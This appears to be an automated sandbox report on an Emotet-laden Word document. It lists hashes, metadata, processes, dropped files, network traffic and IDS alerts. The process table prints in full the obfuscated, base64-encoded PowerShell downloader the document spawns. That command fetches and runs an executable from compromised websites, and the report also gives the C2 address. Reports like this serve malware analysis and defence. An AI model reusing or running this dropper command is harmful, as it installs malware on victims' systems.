File name: | FILE_PPQ8636.doc |
Full analysis: | https://app.any.run/tasks/ba545bcf-94d0-4388-b73b-0247bc1f05fb |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | September 30, 2020, 06:42:48 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Aut., Author: Antoine Adam, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Sep 23 22:57:00 2020, Last Saved Time/Date: Wed Sep 23 22:57:00 2020, Number of Pages: 1, Number of Words: 2591, Number of Characters: 14773, Security: 0 |
MD5: | 643CCBC293E02D5161B7DCF15FB7C435 |
SHA1: | C96323FB135F5672275A115F7E65C126F90C3521 |
SHA256: | 98CAC1B2D3B5764F8AABB6955AE8D2F9D1078B7F4FE2BA221E4C54DA5460EF08 |
SSDEEP: | 3072:MBHqu6dEaKR22TWTogk079THcpOu5UZiZLa3PdpdOZlm:MBKu9aKR/TX07hHcJQ0adTOZlm |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
Title: | Aut. |
---|---|
Subject: | - |
Author: | Antoine Adam |
Keywords: | - |
Comments: | - |
Template: | Normal.dotm |
LastModifiedBy: | - |
RevisionNumber: | 1 |
Software: | Microsoft Office Word |
TotalEditTime: | - |
CreateDate: | 2020:09:23 21:57:00 |
ModifyDate: | 2020:09:23 21:57:00 |
Pages: | 1 |
Words: | 2591 |
Characters: | 14773 |
Security: | None |
Company: | - |
Lines: | 123 |
Paragraphs: | 34 |
CharCountWithSpaces: | 17330 |
AppVersion: | 15 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: | - |
HeadingPairs: |
|
CodePage: | Unicode UTF-16, little endian |
LocaleIndicator: | 1033 |
CompObjUserTypeLen: | 32 |
CompObjUserType: | Microsoft Word 97-2003 Document |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2208 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\FILE_PPQ8636.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3420 | POWeRsHeLL -ENCOD JABHAGcAbQB5ADMAeAByAD0AKAAoACcASgAnACsAJwB1AHEAawAnACkAKwAoACcANwBoACcAKwAnAG8AJwApACkAOwAmACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAGkAdABlAG0AJwApACAAJABlAE4AdgA6AFUAUwBlAHIAUAByAG8ARgBJAGwAZQBcAGEAOAA2ADIASAAxAG4AXABZAE4AUABuAFcAawBWAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQBSAEUAYwB0AE8AUgB5ADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBVAHIASQB0AGAAWQBgAFAAUgBgAG8AYABUAGAAbwBjAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAsACAAdAAnACkAKwAnAGwAcwAnACsAJwAxACcAKwAoACcAMQAsACcAKwAnACAAJwApACsAKAAnAHQAbAAnACsAJwBzACcAKQApADsAJABFADYANABfAGQAegA2ACAAPQAgACgAKAAnAEoAbAA5ACcAKwAnADkAJwApACsAJwB0ACcAKwAnAGkAJwApADsAJABDAGoANQBzAHYAMABpAD0AKAAoACcAWABrACcAKwAnAHAAMQA4ACcAKQArACcAbQAnACsAJwBnACcAKQA7ACQAVgB3AGoAcAAwAG4AdgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQBBADgANgAnACsAKAAnADIAaAAnACsAJwAxACcAKQArACcAbgB7ACcAKwAnADAAfQBZAG4AcABuACcAKwAnAHcAawB2AHsAMAB9ACcAKQAtAEYAWwBjAGgAQQByAF0AOQAyACkAKwAkAEUANgA0AF8AZAB6ADYAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEoAcAB1AG4AeQBrAGMAPQAoACcAVABfACcAKwAoACcAbABfAGsAbQAnACsAJwB5ACcAKQApADsAJABUAGoAdgBmAGoAYgBiAD0ALgAoACcAbgBlAHcALQBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABuAGUAVAAuAFcARQBCAGMAbABpAEUAbgBUADsAJABSADAAMQB3AGYAegBnAD0AKAAoACcAaAB0AHQAcAAnACsAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAbQBhACcAKwAnAGcAJwApACsAKAAnAG4AdQAnACsAJwBzACcAKQArACcAZABjACcAKwAoACcALgAnACsAJwBjAG8AbQAnACkAKwAnAC8ATQAnACsAKAAnAFIALwAqACcAKwAnAGgAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAvACcAKQArACcAZABhACcAKwAoACcAdAB1AG0AbQAnACsAJwBhACcAKwAnAGMAaABpACcAKwAnAG4AJwApACsAJwBlACcAKwAoACcAcwAnACsAJwAuAGMAbwAnACkAKwAoACcAbQAnACsAJwAvAGEAcwAnACkAKwAoACcAcwAnACsAJwBlAHQAcwAvAHUAJwApACsAKAAnAC8AKgBoACcAKwAnAHQAdABwADoALwAnACkAKwAoACcALwBpAG0AJwArACcAbQAnACsAJwBpAGcAcgBhAHQAaQBvAG4AcQAnACsAJwB1AGUAJwArACcAcwB0ACcAKwAnAGkAbwAnACsAJwBuAC4AYwBvACcAKwAnAG0ALwAzAHgAXwBiAGUAJwArACcAYQBzAHQALwAnACkAKwAnAFQAJwArACgAJwB5ADkALwAnACsAJwAqAGgAJwApACsAKAAnAHQAdABwADoAJwArACcALwAnACkAKwAoACcALwAnACsAJwAxADIAMgAnACkAKwAoACcALgAnACsAJwAxADEANwAuADQAJwApACsAJwA0ACcAKwAnAC4AJwArACgAJwA1ADkAJwArACcALwAnACkAKwAoACcAdwBvAHIAZABwAHIAJwArACcAZQAnACsAJwBzACcAKQArACcAcwAnACsAJwAvAGcAJwArACgAJwBTAC8AKgBoAHQAJwArACcAdAAnACkAKwAoACcAcAA6AC8AJwArACcALwAzAC4AMgAnACsAJwAxACcAKQArACcAMgAuACcAKwAoACcAMQA5ADQALgAzACcAKwAnAC8AYwAnACsAJwB3AHMAYwB3ACcAKQArACcAaQAvACcAKwAnADYAJwArACcAdQAnACsAJwAvACoAJwArACcAaAB0ACcAKwAnAHQAJwArACcAcAA6ACcAKwAnAC8AJwArACgAJwAvADQAMQAnACsAJwAuACcAKQArACgAJwA4ADkAJwArACcALgAnACkAKwAnADkAJwArACgAJwA0ACcAKwAnAC4AMwAwAC8AdwAnACkAKwAoACcAZQBiAC8AJwArACcAOAAnACkAKwAnAC8AKgAnACsAJwBoACcAKwAnAHQAJwArACcAdAAnACsAKAAnAHAAOgAnACsAJwAvACcAKQArACgAJwAvAHMAJwArACcAcgBrACcAKQArACcAcwAnACsAKAAnAG0AJwArACcAYQAnACsAJwBpAHMAdwAuACcAKQArACgAJwBvAHIAZwAnACsAJwAvAG0AJwArACcAYQAnACkAKwAnAG4AdQAnACsAJwBmAGEAJwArACcAYwB0ACcAKwAnAHUAcgAnACsAJwBlAHIAJwArACcALwAnACsAJwBoACcAKwAnAC8AJwApAC4AIgBzAGAAcABsAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEEAXwBqAHAAOQBmADgAPQAoACcARAAnACsAKAAnAF8AJwArACcAdQBhAHIAJwApACsAJwByAHIAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVQBpAGoAOQA1AG8AXwAgAGkAbgAgACQAUgAwADEAdwBmAHoAZwApAHsAdAByAHkAewAkAFQAagB2AGYAagBiAGIALgAiAEQAYABPAHcATgBsAE8AYABBAEQAYABGAGkAbABFACIAKAAkAFUAaQBqADkANQBvAF8ALAAgACQAVgB3AGoAcAAwAG4AdgApADsAJABFAGYAdQBzAF8ANgB0AD0AKAAoACcARQBrADIAJwArACcAdgB5ACcAKQArACcAagBrACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABWAHcAagBwADAAbgB2ACkALgAiAGwARQBuAGAAZwB0AEgAIgAgAC0AZwBlACAAMwAxADAAMgAyACkAIAB7ACYAKAAnAEkAbgB2AG8AawAnACsAJwBlACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAFYAdwBqAHAAMABuAHYAKQA7ACQATwB6ADgAZAAzAGkAaQA9ACgAKAAnAEUAaQB5ADIAJwArACcAYwAnACkAKwAnAGMAagAnACkAOwBiAHIAZQBhAGsAOwAkAE4ANABlADMAZgA2AGcAPQAoACgAJwBMACcAKwAnAGkAeQBvACcAKQArACcAbAAnACsAJwAxADcAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABaAG8ANwA0AHUAeQBwAD0AKAAnAEkAJwArACcAXwAnACsAKAAnADQAeAA2ACcAKwAnAGIAZAAnACkAKQA= | C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3976 | "C:\Users\admin\A862h1n\Ynpnwkv\Jl99ti.exe" | C:\Users\admin\A862h1n\Ynpnwkv\Jl99ti.exe | POWeRsHeLL.exe | |
User: admin Company: TODO: <Company name> Integrity Level: MEDIUM Description: TODO: <File description> Exit code: 0 Version: 1.0.0.1 | ||||
444 | "C:\Users\admin\AppData\Local\imm32\udhisapi.exe" | C:\Users\admin\AppData\Local\imm32\udhisapi.exe | Jl99ti.exe | |
User: admin Company: TODO: <Company name> Integrity Level: MEDIUM Description: TODO: <File description> Version: 1.0.0.1 |
PID | Process | Filename | Type | |
---|---|---|---|---|
2208 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR76A8.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3420 | POWeRsHeLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CZT4KSMFQK2Y2WCVVS6N.temp | — | |
MD5:— | SHA256:— | |||
2208 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:E7CF7C7D76EB8601C18DE984E4219EA9 | SHA256:8AE03A59DE4E64FF9104761BB71D595044097E560A73B67C07E4ED4986162AB8 | |||
3420 | POWeRsHeLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:4028388263805ABA00088A0BA4EEA515 | SHA256:5A67495439D515C063CD1732C649C5ADA72E7C0056CA8B6CD70A49F80643B948 | |||
2208 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$LE_PPQ8636.doc | pgc | |
MD5:3095D289A6665949D85B60D19CF2A7A0 | SHA256:20B12F573FB6E09F556D15D2F03C97C1F98B87390DE14D84CF49D2D4845D0437 | |||
2208 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:7DC3DEB91AA34DE0E18E5BC0A214B893 | SHA256:D55306B32448DFED50E997F7D3731F33C8021D7E0D4BF725505C65038F4B3A8B | |||
3976 | Jl99ti.exe | C:\Users\admin\AppData\Local\imm32\udhisapi.exe | executable | |
MD5:27F0B6425B150F8D98A71C843E78664E | SHA256:390CF72A9F6B430AE3BCCF2DA385F4A34907605F88EFE5DAD363C6ADE5F9893A | |||
3420 | POWeRsHeLL.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF3b828e.TMP | binary | |
MD5:4028388263805ABA00088A0BA4EEA515 | SHA256:5A67495439D515C063CD1732C649C5ADA72E7C0056CA8B6CD70A49F80643B948 | |||
3420 | POWeRsHeLL.exe | C:\Users\admin\A862h1n\Ynpnwkv\Jl99ti.exe | executable | |
MD5:27F0B6425B150F8D98A71C843E78664E | SHA256:390CF72A9F6B430AE3BCCF2DA385F4A34907605F88EFE5DAD363C6ADE5F9893A |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
444 | udhisapi.exe | POST | 200 | 12.163.208.58:80 | http://12.163.208.58/kxDp24QEKZo/UsyscBQxc/e21dYtVsDoSyPX/RU6GAmhSoaeY/ | US | binary | 132 b | malicious |
3420 | POWeRsHeLL.exe | GET | 200 | 138.201.86.169:80 | http://magnusdc.com/MR/ | DE | executable | 424 Kb | suspicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3420 | POWeRsHeLL.exe | 138.201.86.169:80 | magnusdc.com | Hetzner Online GmbH | DE | suspicious |
— | — | 12.163.208.58:80 | — | AT&T Services, Inc. | US | malicious |
Domain | IP | Reputation |
---|---|---|
magnusdc.com |
| suspicious |
PID | Process | Class | Message |
---|---|---|---|
3420 | POWeRsHeLL.exe | A Network Trojan was detected | ET POLICY Terse Named Filename EXE Download - Possibly Hostile |
3420 | POWeRsHeLL.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3420 | POWeRsHeLL.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3420 | POWeRsHeLL.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
444 | udhisapi.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 3 |
444 | udhisapi.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M10 |